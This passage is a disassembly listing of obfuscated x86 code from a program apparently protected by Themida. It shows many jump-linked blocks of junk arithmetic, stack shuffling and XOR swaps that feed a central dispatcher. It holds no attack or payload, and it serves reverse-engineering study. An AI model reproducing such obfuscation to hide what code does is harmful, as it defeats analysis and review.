jmp loc_5A0CD5
; ---------------------------------------------------------------------------
loc_59D9AF: ; CODE XREF: Themida_:005A9F93j
mov ebx, 6BF173C7h
add ebx, 1897730Fh
add ebx, 317257BBh
xor ebx, 6D9B0824h
jmp loc_599345
; ---------------------------------------------------------------------------
loc_59D9CB: ; CODE XREF: Themida_:0059B8D7j
mov [esp], esi
mov esi, 0C936FF4h
sub dword ptr [esp+8], 78C1139Fh
add [esp+8], esi
add dword ptr [esp+8], 78C1139Fh
mov esi, [esp]
add esp, 4
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DA0F: ; CODE XREF: Themida_:005A2521j
mov ecx, esp
jmp loc_59B429
; ---------------------------------------------------------------------------
loc_59DA16: ; CODE XREF: Themida_:005A7592j
add cl, 0DBh
jmp loc_5A8ECC
; ---------------------------------------------------------------------------
loc_59DA1E: ; CODE XREF: Themida_:0059AF17j
mov esi, [esp]
add esp, 4
add esi, 4
push eax
jmp loc_5A1A1F
; ---------------------------------------------------------------------------
loc_59DA30: ; CODE XREF: Themida_:0059A952j
add edx, ecx
pop ecx
jmp loc_5A1C1D
; ---------------------------------------------------------------------------
loc_59DA38: ; CODE XREF: Themida_:005A9418j
pop esp
jmp loc_5A3EE0
; ---------------------------------------------------------------------------
loc_59DA3E: ; CODE XREF: Themida_:005A07BCj
mov [esp], edi
jmp loc_59866D
; ---------------------------------------------------------------------------
loc_59DA46: ; CODE XREF: Themida_:005983D7j
pop edi
push ebp
push ecx
jmp loc_5A97BF
; ---------------------------------------------------------------------------
loc_59DA4E: ; CODE XREF: Themida_:0059C60Cj
mov [esp], ecx
jmp loc_596A62
; ---------------------------------------------------------------------------
mov ax, [esp]
push 68B6h
mov [esp], edx
push 7B56h
jmp loc_59EABF
; ---------------------------------------------------------------------------
loc_59DA6C: ; CODE XREF: Themida_:0059EEADj
push edx
push dword ptr [esp+4]
jmp loc_5A90D5
; ---------------------------------------------------------------------------
loc_59DA76: ; CODE XREF: Themida_:00599D93j
mov edx, [esp]
push edx
jmp loc_59C560
; ---------------------------------------------------------------------------
loc_59DA7F: ; CODE XREF: Themida_:005A8C19j
mov esp, [esp]
xor eax, ebx
push dword ptr [esp]
mov ebx, [esp]
push edi
mov edi, esp
push ecx
push esi
mov esi, 4
mov ecx, esi
pop esi
add edi, ecx
mov ecx, [esp]
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_59A045
; ---------------------------------------------------------------------------
loc_59DAB0: ; CODE XREF: Themida_:005A5357j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_5A686D
; ---------------------------------------------------------------------------
loc_59DAC4: ; CODE XREF: Themida_:0059CA12j
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
jmp loc_5A335A
; ---------------------------------------------------------------------------
loc_59DAD1: ; CODE XREF: Themida_:0059CF00j
xor eax, 0DE87CFh
mov edx, eax
mov eax, [esp]
jmp loc_59ECCA
; ---------------------------------------------------------------------------
loc_59DAE0: ; CODE XREF: Themida_:00598A1Dj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DAF5: ; CODE XREF: Themida_:005A5CF0j
add esp, 4
jmp loc_59DC66
; ---------------------------------------------------------------------------
loc_59DAFD: ; CODE XREF: Themida_:005A03CBj
xchg ebx, [esp]
pop esp
and ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
shr ecx, 0Bh
jmp loc_597A3B
; ---------------------------------------------------------------------------
loc_59DB12: ; CODE XREF: Themida_:0059C8C7j
mov esi, [esp]
add esp, 4
jmp loc_59C773
; ---------------------------------------------------------------------------
loc_59DB20: ; CODE XREF: Themida_:0059788Bj
push 598Dh
mov [esp], ebp
mov ebp, 28506D2Fh
dec ebp
not ebp
not ebp
add ebp, 39360F6Dh
mov edi, ebp
jmp loc_597948
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DB4E: ; CODE XREF: Themida_:00598533j
push esi
mov esi, 35DF3276h
inc esi
sub esi, 5926695Fh
jmp loc_5A7339
; ---------------------------------------------------------------------------
loc_59DB60: ; CODE XREF: Themida_:00599AAAj
mov [esp], edi
jmp loc_5A16C7
; ---------------------------------------------------------------------------
loc_59DB68: ; CODE XREF: Themida_:005A94A9j
push 6753h
mov [esp], ebp
push edi
mov edi, 3BC35678h
shr edi, 3
push edi
mov edi, esp
jmp loc_5A4AB0
; ---------------------------------------------------------------------------
loc_59DB81: ; CODE XREF: Themida_:005A7E3Aj
sub ch, 0B7h
sub ch, ah
add ch, 0B7h
jmp loc_59F0A0
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
add esi, 4
push 79BFh
mov [esp], eax
push esi
push 5BFA1B8Dh
mov esi, [esp]
add esp, 4
sub esi, 5BFA1B8Bh
mov eax, esi
pop esi
jmp loc_59842E
; ---------------------------------------------------------------------------
loc_59DBBD: ; CODE XREF: Themida_:0059D41Fj
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A0155
; ---------------------------------------------------------------------------
loc_59DBD4: ; CODE XREF: Themida_:00597E07j
pop eax
xor ebx, [esp]
jmp loc_5A9D22
; ---------------------------------------------------------------------------
loc_59DBDD: ; CODE XREF: Themida_:005A1204j
push small 1328h
jmp loc_596DFE
; ---------------------------------------------------------------------------
loc_59DBE6: ; CODE XREF: Themida_:005A6DD7j
pop ebx
add ebx, 4
add ebx, 4
push ebx
jmp loc_59CD66
; ---------------------------------------------------------------------------
loc_59DBF9: ; CODE XREF: Themida_:0059897Bj
push eax
mov eax, 76330FFBh
or esi, eax
pop eax
and esi, 21876F6Eh
add esi, 0E8705792h
and edi, esi
pop esi
inc edi
or edi, 4C4B174Dh
push ecx
mov ecx, 0
sub ecx, edi
mov edi, ecx
jmp loc_597B65
; ---------------------------------------------------------------------------
loc_59DC27: ; CODE XREF: Themida_:005A7057j
add edx, 4
jmp loc_5A1FB3
; ---------------------------------------------------------------------------
loc_59DC32: ; CODE XREF: Themida_:005A58BBj
pop ebx
mov eax, [esp]
add esp, 4
add al, cl
push dword ptr [esp]
pop ecx
jmp loc_59AB7C
; ---------------------------------------------------------------------------
loc_59DC47: ; CODE XREF: Themida_:0059A7A5j
mov esi, 4FB641E8h
push 373Fh
mov [esp], eax
mov eax, 5D62266Bh
jmp loc_5A1513
; ---------------------------------------------------------------------------
loc_59DC5E: ; CODE XREF: Themida_:0059B36Fj
mov [esp], edx
jmp loc_59C63D
; ---------------------------------------------------------------------------
loc_59DC66: ; CODE XREF: Themida_:0059DAF8j
xchg edx, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DC76: ; CODE XREF: Themida_:005A8307j
mov [esp], ebp
mov ebp, 4
push ecx
push eax
jmp loc_59C2ED
; ---------------------------------------------------------------------------
loc_59DC85: ; CODE XREF: Themida_:005A7C57j
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 29A568ADh
push esi
mov esi, ebp
jmp loc_5A3974
; ---------------------------------------------------------------------------
loc_59DC9C: ; CODE XREF: Themida_:0059A112j
xor eax, 330B59E2h
sub eax, 7B792A8Eh
xor eax, 39931680h
sub esi, eax
pop eax
push ecx
mov ecx, 0
sub ecx, esi
mov esi, ecx
pop ecx
add esi, 59C618FDh
shl esi, 3
not esi
push edi
mov edi, 6115E40h
shr edi, 4
neg edi
jmp loc_59ABDD
; ---------------------------------------------------------------------------
loc_59DCD4: ; CODE XREF: Themida_:005A856Cj
add eax, ebx
add eax, 523663F9h
jmp loc_59735D
; ---------------------------------------------------------------------------
loc_59DCE0: ; CODE XREF: Themida_:005A9DD5j
sub edx, 0E4CCEE23h
xor eax, edx
pop edx
jmp loc_5A1CCA
; ---------------------------------------------------------------------------
loc_59DCEE: ; CODE XREF: Themida_:005A8BFDj
pop esi
pop esi
push edx
push esp
pop edx
add edx, 4
jmp loc_5A9F98
; ---------------------------------------------------------------------------
loc_59DCFE: ; CODE XREF: Themida_:00598C47j
pop ebx
and eax, esi
push dword ptr [esp]
jmp loc_599916
; ---------------------------------------------------------------------------
loc_59DD09: ; CODE XREF: Themida_:00598CEDj
sub esp, 2
mov [esp], cx
push esi
mov si, 4718h
add si, 4267h
dec si
not si
shl si, 6
push edx
jmp loc_5A28DB
; ---------------------------------------------------------------------------
loc_59DD29: ; CODE XREF: Themida_:005A843Bj
pop esp
shl word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DD34: ; CODE XREF: Themida_:005A9E62j
pop eax
shl edi, 4
sub esp, 4
mov [esp], ebp
mov ebp, 3E9D3302h
add edi, ebp
jmp loc_5AA752
; ---------------------------------------------------------------------------
loc_59DD4A: ; CODE XREF: Themida_:005A2CB8j
bswap eax
push 6641h
mov [esp], eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DD59: ; CODE XREF: Themida_:005A7AA4j
shl esi, 2
shr esi, 1
jmp loc_5978CF
; ---------------------------------------------------------------------------
loc_59DD63: ; CODE XREF: Themida_:00596990j
add esi, 0C57863h
sub esi, ebx
sub esi, 0C57863h
push dword ptr [esp]
pop ebx
jmp loc_5A19C5
; ---------------------------------------------------------------------------
loc_59DD7A: ; CODE XREF: Themida_:005A67F4j
xchg edi, [esp]
mov esp, [esp]
xor eax, ecx
xor ecx, eax
jmp loc_5A3158
; ---------------------------------------------------------------------------
loc_59DD89: ; CODE XREF: Themida_:005A253Cj
pop ebx
mov ecx, edx
jmp loc_5A112F
; ---------------------------------------------------------------------------
loc_59DD91: ; CODE XREF: Themida_:005A7C02j
pop esp
mov [esp], ebx
push edi
push 20h
pop edi
jmp loc_5A2551
; ---------------------------------------------------------------------------
loc_59DDA1: ; CODE XREF: Themida_:0059FC44j
pop ecx
mov ebx, [esp]
jmp loc_5A9EDA
; ---------------------------------------------------------------------------
loc_59DDAA: ; CODE XREF: Themida_:0059A37Dj
sub edi, 4D257D78h
add edi, ecx
add edi, 4D257D78h
mov ecx, [esp]
add esp, 4
jmp loc_59A7DB
; ---------------------------------------------------------------------------
loc_59DDC6: ; CODE XREF: Themida_:005979FFj
push dword ptr [esp]
pop ebp
add esp, 4
loc_59DDCD: ; CODE XREF: Themida_:0059991Cj
push 0D3Dh
jmp loc_5A00CD
; ---------------------------------------------------------------------------
lodsd
sub eax, 6A0E7BBCh
add eax, 2F2D3E93h
add eax, 23E711CAh
sub eax, ebx
jmp loc_59D07D
; ---------------------------------------------------------------------------
loc_59DDEE: ; CODE XREF: Themida_:00597996j
sar word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59DDF8: ; CODE XREF: Themida_:005A0F5Cj
xchg ecx, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_5A35BD
; ---------------------------------------------------------------------------
loc_59DE12: ; CODE XREF: Themida_:005A97C3j
pop ecx
pop dword ptr [esp]
not ecx
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
jmp loc_59A4CA
; ---------------------------------------------------------------------------
loc_59DE26: ; CODE XREF: Themida_:005A1C23j
push ecx
mov ecx, 381550E8h
push ecx
pop edi
pop ecx
push ebx
jmp loc_596E26
; ---------------------------------------------------------------------------
loc_59DE35: ; CODE XREF: Themida_:00598E37j
add bl, dl
sub bl, 0A8h
mov edx, [esp]
add esp, 4
jmp loc_5A29AC
; ---------------------------------------------------------------------------
loc_59DE48: ; CODE XREF: Themida_:00597E90j
mov ebx, esp
push eax
push ecx
mov ecx, 4
mov eax, ecx
mov ecx, [esp]
add esp, 4
sub ebx, 7EAF1983h
add ebx, 64220363h
add ebx, 66AA584Ch
add ebx, eax
sub ebx, 66AA584Ch
push ecx
mov ecx, 64220363h
add ebx, 3C013B30h
push ebp
jmp loc_5990D9
; ---------------------------------------------------------------------------
loc_59DE85: ; CODE XREF: Themida_:0059705Bj
add esi, edx
add esi, 4E946304h
pop edx
dec esi
not esi
add esi, 365C6510h
sub eax, 77250A24h
add eax, 509B532Eh
sub eax, esi
sub eax, 509B532Eh
jmp loc_5A3231
; ---------------------------------------------------------------------------
loc_59DEAD: ; CODE XREF: Themida_:0059A276j
push 2520h
mov [esp], ecx
mov ecx, 21615E72h
dec ecx
or ecx, 410B231Bh
or ecx, 65560F71h
push 3069h
jmp loc_5A4927
; ---------------------------------------------------------------------------
loc_59DED1: ; CODE XREF: Themida_:00597B07j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59E969
; ---------------------------------------------------------------------------
loc_59DEDF: ; CODE XREF: Themida_:0059F2C1j
sub dword ptr [esp], 45966CD6h
add dword ptr [esp], 168C162Dh
add [esp], eax
sub dword ptr [esp], 168C162Dh
push eax
mov eax, 45966CD6h
add [esp+4], eax
jmp loc_5A5C8E
; ---------------------------------------------------------------------------
loc_59DF06: ; CODE XREF: Themida_:0059AF01j
push ebx
mov bh, 0A4h
jmp loc_5A3203
; ---------------------------------------------------------------------------
loc_59DF0E: ; CODE XREF: Themida_:005A3144j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_59BCAF
; ---------------------------------------------------------------------------
loc_59DF1F: ; CODE XREF: Themida_:0059A076j
add ebx, 4
sub ebx, 2
push ebx
push dword ptr [esp+4]
jmp loc_5A3D88
; ---------------------------------------------------------------------------
loc_59DF35: ; CODE XREF: Themida_:005A5647j
add esp, 4
add edx, edi
pop edi
jmp loc_5A3A98
; ---------------------------------------------------------------------------
loc_59DF40: ; CODE XREF: Themida_:005A430Dj
mov edx, 772A1267h
dec edx
sub esp, 4
mov [esp], esi
mov esi, 48EF4D06h
jmp loc_59750F
; ---------------------------------------------------------------------------
loc_59DF56: ; CODE XREF: Themida_:005AAD10j
xor edi, ebp
xchg eax, ebp
jmp loc_59A799
; ---------------------------------------------------------------------------
loc_59DF5E: ; CODE XREF: Themida_:0059BE94j
sub ebx, 0E66B1FC3h
jmp loc_59C1D6
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 0DA9h
mov [esp], edi
mov edi, esp
add edi, 4
push ebp
jmp loc_598F77
; ---------------------------------------------------------------------------
loc_59DF86: ; CODE XREF: Themida_:0059CCDDj
and ch, 1Eh
sub ch, 0B0h
or dl, ch
pop ecx
or dl, 73h
jmp loc_59AFAB
; ---------------------------------------------------------------------------
loc_59DF97: ; CODE XREF: Themida_:0059F459j
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_59D35A
; ---------------------------------------------------------------------------
loc_59DFA7: ; CODE XREF: Themida_:0059D259j
pop edx
jmp loc_5AA421
; ---------------------------------------------------------------------------
loc_59DFAD: ; CODE XREF: Themida_:0059CCC6j
sub esp, 4
jmp loc_59A5B5
; ---------------------------------------------------------------------------
loc_59DFB5: ; CODE XREF: Themida_:0059B08Ej
push edx
mov edx, ebx
push esi
jmp loc_5A65AA
; ---------------------------------------------------------------------------
loc_59DFBE: ; CODE XREF: Themida_:005A40EDj
xor ecx, [esp]
pop esp
jmp loc_5A35F1
; ---------------------------------------------------------------------------
loc_59DFC7: ; CODE XREF: Themida_:00598B87j
shr ebx, 1
xor ebx, 0A54436Ah
add ecx, ebx
pop ebx
jmp loc_59D70F
; ---------------------------------------------------------------------------
loc_59DFD7: ; CODE XREF: Themida_:005A6C5Dj
mov [esp], edx
mov edx, 56EA3B13h
add edx, 1
sub edx, 1
or edx, 7D127E09h
jmp loc_59E5C9
; ---------------------------------------------------------------------------
loc_59DFF3: ; CODE XREF: Themida_:00597F15j
add esi, ecx
pop ecx
jmp loc_5A4819
; ---------------------------------------------------------------------------
loc_59DFFB: ; CODE XREF: Themida_:005A849Bj
push ecx
mov ecx, 0
add ecx, edx
add eax, [ecx]
jmp loc_59AB2B
; ---------------------------------------------------------------------------
loc_59E00A: ; CODE XREF: Themida_:005A2E4Bj
push eax
mov eax, 184020BDh
not eax
shr eax, 2
inc eax
jmp loc_5A5C0F
; ---------------------------------------------------------------------------
loc_59E01B: ; CODE XREF: Themida_:0059D6CCj
xchg ecx, [esp]
pop esp
mov [esp], eax
push 1A8Bh
jmp loc_59E30B
; ---------------------------------------------------------------------------
loc_59E02C: ; CODE XREF: Themida_:005A9B4Aj
or edi, 29C06C8Bh
inc edi
shr edi, 7
sub edi, 9B877E5Eh
xor eax, edi
pop edi
jmp loc_5A6DC3
; ---------------------------------------------------------------------------
loc_59E044: ; CODE XREF: Themida_:0059F22Bj
xchg ebx, [esp]
pop esp
jmp loc_59D86C
; ---------------------------------------------------------------------------
loc_59E04D: ; CODE XREF: Themida_:0059C500j
add edi, esi
pop esi
sub edi, 4
xchg edi, [esp]
jmp loc_596BD2
; ---------------------------------------------------------------------------
loc_59E05E: ; CODE XREF: Themida_:005A1E35j
add esp, 4
jmp loc_5A841B
; ---------------------------------------------------------------------------
loc_59E066: ; CODE XREF: Themida_:005A3A60j
mov ebp, ebx
jmp loc_5A0B1F
; ---------------------------------------------------------------------------
loc_59E06D: ; CODE XREF: Themida_:0059FDB2j
sub eax, edi
pop edi
xchg eax, [esp]
pop esp
jmp loc_59A02E
; ---------------------------------------------------------------------------
loc_59E079: ; CODE XREF: Themida_:0059AADFj
mov edi, 3044684Eh
sub edi, 0C4572CB7h
mov edx, edi
jmp loc_59F4AD
; ---------------------------------------------------------------------------
loc_59E08B: ; CODE XREF: Themida_:00596E65j
sub esp, 4
mov [esp], edi
push eax
mov eax, 0B9D2DD4h
push ebp
mov ebp, 7FBB897Ah
mov edi, ebp
mov ebp, [esp]
add esp, 4
sub edi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A32A7
; ---------------------------------------------------------------------------
loc_59E0BB: ; CODE XREF: Themida_:005A22D3j
sub ebx, 4BF67C67h
push 57A5h
mov [esp], esi
mov esi, 4149632Eh
push eax
mov eax, 4E710F7Ch
inc eax
or eax, 27D77E7Bh
sub eax, 3E672189h
or esi, eax
pop eax
and esi, 288600C5h
xor esi, 4E033C7h
sub ebx, esi
mov esi, [esp]
add esp, 4
pop ebp
xchg ebx, [esp]
jmp loc_5A3E23
; ---------------------------------------------------------------------------
loc_59E0FF: ; CODE XREF: Themida_:005A1069j
not ebx
push esi
jmp loc_5A823A
; ---------------------------------------------------------------------------
loc_59E107: ; CODE XREF: Themida_:0059A865j
add edi, 43FE989h
push eax
mov eax, edi
mov esi, eax
jmp loc_5A9F10
; ---------------------------------------------------------------------------
loc_59E117: ; CODE XREF: Themida_:0059C9F9j
push eax
mov al, 0DAh
inc al
shr al, 7
xor al, 0D2h
or al, 0C5h
shl al, 4
jmp loc_598EBA
; ---------------------------------------------------------------------------
loc_59E12B: ; CODE XREF: Themida_:0059809Bj
dec ecx
add ecx, 29374A8h
add ebp, ecx
pop ecx
mov eax, [esp]
jmp loc_5974DF
; ---------------------------------------------------------------------------
loc_59E13D: ; CODE XREF: Themida_:005A1DB0j
add edi, 70520B42h
push eax
mov eax, 261C0E23h
jmp loc_5A59BC
; ---------------------------------------------------------------------------
loc_59E14E: ; CODE XREF: Themida_:00598C10j
add esp, 4
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59E159: ; CODE XREF: Themida_:00597916j
pop ebp
sub edi, edx
jmp loc_5A7388
; ---------------------------------------------------------------------------
loc_59E161: ; CODE XREF: Themida_:005A9B23j
mov ebp, 25D75E96h
shl ebp, 6
jmp loc_5A584A
; ---------------------------------------------------------------------------
loc_59E16E: ; CODE XREF: Themida_:00599E09j
sub esp, 2
jmp loc_59C65D
; ---------------------------------------------------------------------------
loc_59E179: ; CODE XREF: Themida_:0059B91Dj
mov dh, 4Eh
push ecx
mov ch, 0AFh
push edx
mov dh, 0C9h
jmp loc_5A8AC1
; ---------------------------------------------------------------------------
loc_59E186: ; CODE XREF: Themida_:00599E38j
mov edi, [esp]
add esp, 4
jmp loc_5A6627
; ---------------------------------------------------------------------------
loc_59E194: ; CODE XREF: Themida_:0059AEEFj
xor ebp, 1D774D16h
inc ebp
push 2612h
mov [esp], edx
jmp loc_59681E
; ---------------------------------------------------------------------------
loc_59E1A8: ; CODE XREF: Themida_:005A90D0j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov ecx, eax
pop eax
jmp loc_5A08C1
; ---------------------------------------------------------------------------
loc_59E1BA: ; CODE XREF: Themida_:005A0319j
xor ecx, 4391B31h
inc ecx
sub ecx, 0FFFFFFFFh
xor ecx, 469F3877h
add edx, 1AA54A02h
jmp loc_59C193
; ---------------------------------------------------------------------------
loc_59E1D5: ; CODE XREF: Themida_:005A5952j
jmp loc_595E8C
; ---------------------------------------------------------------------------
push small 5923h
sub esp, 2
push sp
pop small word ptr [esp]
push bx
push small 2
pop bx
add [esp+2], bx
mov bx, [esp]
add esp, 2
pop small word ptr [esp]
push eax
jmp loc_59B201
; ---------------------------------------------------------------------------
loc_59E208: ; CODE XREF: Themida_:005A410Dj
mov edx, 3D5B1F0Ah
or edx, 54C86CB0h
push esi
mov esi, 1434794Fh
jmp loc_5A9AA1
; ---------------------------------------------------------------------------
loc_59E21E: ; CODE XREF: Themida_:00598067j
push 67A82065h
pop esi
not esi
jmp loc_5A09CE
; ---------------------------------------------------------------------------
loc_59E22B: ; CODE XREF: Themida_:005A6223j
mov edi, ecx
jmp loc_5A6458
; ---------------------------------------------------------------------------
loc_59E232: ; CODE XREF: Themida_:00599666j
add edi, 6C4E5F03h
pop eax
xchg edi, [esp]
pop esp
jmp loc_59A39F
; ---------------------------------------------------------------------------
loc_59E242: ; CODE XREF: Themida_:0059D2C0j
add bl, ah
pop eax
sub bl, dh
sub bl, 3Ch
pop edx
jmp loc_598584
; ---------------------------------------------------------------------------
loc_59E250: ; CODE XREF: Themida_:0059D92Dj
sub ebp, ecx
jmp loc_59CF7D
; ---------------------------------------------------------------------------
loc_59E257: ; CODE XREF: Themida_:005A683Fj
xor dword ptr [esp], 62CE6320h
pop edx
xor edx, 62CE6320h
mov eax, [esp]
jmp loc_5A0F61
; ---------------------------------------------------------------------------
loc_59E26D: ; CODE XREF: Themida_:005990FCj
add ebx, 7EAF1983h
pop eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 2
add ebx, 75AF3754h
add ebx, esi
sub ebx, 75AF3754h
jmp loc_5A27D9
; ---------------------------------------------------------------------------
loc_59E2A4: ; CODE XREF: Themida_:0059C80Aj
pop eax
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push 145Dh
mov [esp], ebp
mov ebp, 4BF51BF7h
xor ebp, 4BF51BF3h
jmp loc_5A1FE9
; ---------------------------------------------------------------------------
loc_59E2D3: ; CODE XREF: Themida_:005A6193j
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
jmp loc_5AAB8A
; ---------------------------------------------------------------------------
loc_59E2E9: ; CODE XREF: Themida_:0059CCA8j
not eax
inc eax
not eax
jmp loc_5A46B1
; ---------------------------------------------------------------------------
loc_59E2F3: ; CODE XREF: Themida_:0059AFAEj
add bh, 2Fh
add bh, dl
sub bh, 2Fh
jmp loc_59F337
; ---------------------------------------------------------------------------
loc_59E300: ; CODE XREF: Themida_:0059CF4Aj
add esp, 4
jmp loc_5A363C
; ---------------------------------------------------------------------------
loc_59E30B: ; CODE XREF: Themida_:0059E027j
mov [esp], esp
jmp loc_5A6A2C
; ---------------------------------------------------------------------------
loc_59E313: ; CODE XREF: Themida_:0059E533j
push esi
mov esi, esp
add esi, 4
jmp loc_5AB0B9
; ---------------------------------------------------------------------------
loc_59E321: ; CODE XREF: Themida_:005A99CCj
not dword ptr [esp]
pop edi
push eax
push edi
pop eax
jmp loc_5A0338
; ---------------------------------------------------------------------------
loc_59E32D: ; CODE XREF: Themida_:005A462Fj
pop ecx
add ebp, 4
push 1B77h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
test ecx, eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59E34D: ; CODE XREF: Themida_:00599701j
add edi, 223D2C75h
push eax
mov eax, 5E807303h
and eax, 6F08024Dh
add eax, 6F9C73B9h
add eax, 69D731DDh
add eax, 194B5F8Fh
sub edi, 25ED6C48h
sub edi, eax
add edi, 25ED6C48h
pop eax
sub edi, 1EA24457h
mov esi, [esp]
add esp, 4
xor eax, edi
push dword ptr [esp]
pop edi
push edi
push esp
mov edi, [esp]
jmp loc_59A99C
; ---------------------------------------------------------------------------
loc_59E398: ; CODE XREF: Themida_:005A7746j
and edx, 3504510Eh
add edx, 0FFFFF002h
jmp loc_5A8832
; ---------------------------------------------------------------------------
loc_59E3A9: ; CODE XREF: Themida_:0059A3ADj
add esi, 77FBE6Eh
jmp loc_5AA7A0
; ---------------------------------------------------------------------------
loc_59E3B4: ; CODE XREF: Themida_:00599E72j
add dh, 0ECh
mov ecx, [esp]
jmp loc_5A2E32
; ---------------------------------------------------------------------------
loc_59E3BF: ; CODE XREF: Themida_:00596355j
shl eax, 1
dec eax
xor eax, 4F8740D0h
xor eax, 0BB1C1740h
add esi, eax
pop eax
pop ebx
push 52F8h
mov [esp], edi
push edx
jmp loc_5A786B
; ---------------------------------------------------------------------------
loc_59E3DE: ; CODE XREF: Themida_:005A396Fj
xor edi, esi
xor esi, edi
xor edi, esi
xchg ecx, esi
jmp loc_59954E
; ---------------------------------------------------------------------------
loc_59E3EB: ; CODE XREF: Themida_:005A95FFj
sub edx, 1FC1BE3h
push dword ptr [esp]
pop ebx
jmp loc_5A13A6
; ---------------------------------------------------------------------------
loc_59E3FA: ; CODE XREF: Themida_:005A7834j
add edx, 214975DEh
push edi
jmp loc_596211
; ---------------------------------------------------------------------------
loc_59E406: ; CODE XREF: Themida_:005A9454j
xor ebp, 49F73FFFh
push edx
push ebp
sub dword ptr [esp], 6A50264Ch
pop edx
push 35DBh
mov [esp], ecx
mov ecx, 36BC2E72h
shl ecx, 7
neg ecx
jmp loc_5A2E1C
; ---------------------------------------------------------------------------
loc_59E42D: ; CODE XREF: Themida_:005A110Ej
pop ecx
mov ebx, [esp]
add esp, 4
sub al, 88h
add al, 8Bh
add al, dh
push cx
mov cl, 8Bh
jmp loc_5A470A
; ---------------------------------------------------------------------------
loc_59E446: ; CODE XREF: Themida_:005A8DBBj
xchg ebp, [esp]
jmp loc_599AA9
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5AB416
; ---------------------------------------------------------------------------
loc_59E457: ; CODE XREF: Themida_:0059CF2Dj
sub esp, 4
mov [esp], esi
jmp loc_5972C0
; ---------------------------------------------------------------------------
loc_59E462: ; CODE XREF: Themida_:0059B59Bj
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov eax, [esp]
push 4B4Ch
mov [esp], ebx
sub esp, 4
push 5ED2h
jmp loc_59A578
; ---------------------------------------------------------------------------
loc_59E490: ; CODE XREF: Themida_:0059F5A0j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59683A
; ---------------------------------------------------------------------------
loc_59E4A4: ; CODE XREF: Themida_:005A7757j
mov eax, [esp]
jmp loc_59AE58
; ---------------------------------------------------------------------------
loc_59E4AC: ; CODE XREF: Themida_:005AA787j
pop edx
add eax, edi
mov edi, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5A7A60
; ---------------------------------------------------------------------------
loc_59E4C0: ; CODE XREF: Themida_:005A4BFBj
pop ecx
sub ecx, 207B6B26h
pop edx
jmp loc_5A5A31
; ---------------------------------------------------------------------------
loc_59E4CD: ; CODE XREF: Themida_:005A87C1j
push ecx
mov ecx, 0E7447065h
xor edx, ecx
mov ecx, [esp]
add esp, 4
add ebx, edx
pop edx
mov esi, ebx
pop ebx
shl esi, 5
sub esi, 0B63033Ch
add ebx, esi
mov esi, [esp]
add esp, 4
push 31E6h
jmp loc_5A23C5
; ---------------------------------------------------------------------------
loc_59E4FF: ; CODE XREF: Themida_:005A37A7j
and ecx, 14992CE0h
inc ecx
sub ecx, 7F4F31EDh
jmp loc_59703E
; ---------------------------------------------------------------------------
loc_59E511: ; CODE XREF: Themida_:0059D288j
add esi, 53BB20Bh
xor edx, esi
pop esi
add edi, edx
pop edx
add edi, 2
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_59E313
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59A73B
; ---------------------------------------------------------------------------
loc_59E541: ; CODE XREF: Themida_:005AA427j
push edx
mov edx, 35A832F9h
or edx, 422F20FEh
inc edx
push edx
not dword ptr [esp]
pop edx
sub edx, 6458A620h
sub ebx, 3F0C3BD6h
sub ebx, edx
jmp loc_5A0207
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59E56F: ; CODE XREF: Themida_:005974A9j
mov [esp], ebx
push eax
jmp loc_59B404
; ---------------------------------------------------------------------------
loc_59E578: ; CODE XREF: Themida_:005A4C96j
push edx
mov edx, 0C4CB48D9h
sub eax, edx
pop edx
add ebp, 546D6FDFh
sub ebp, 5A139E2h
add ebp, eax
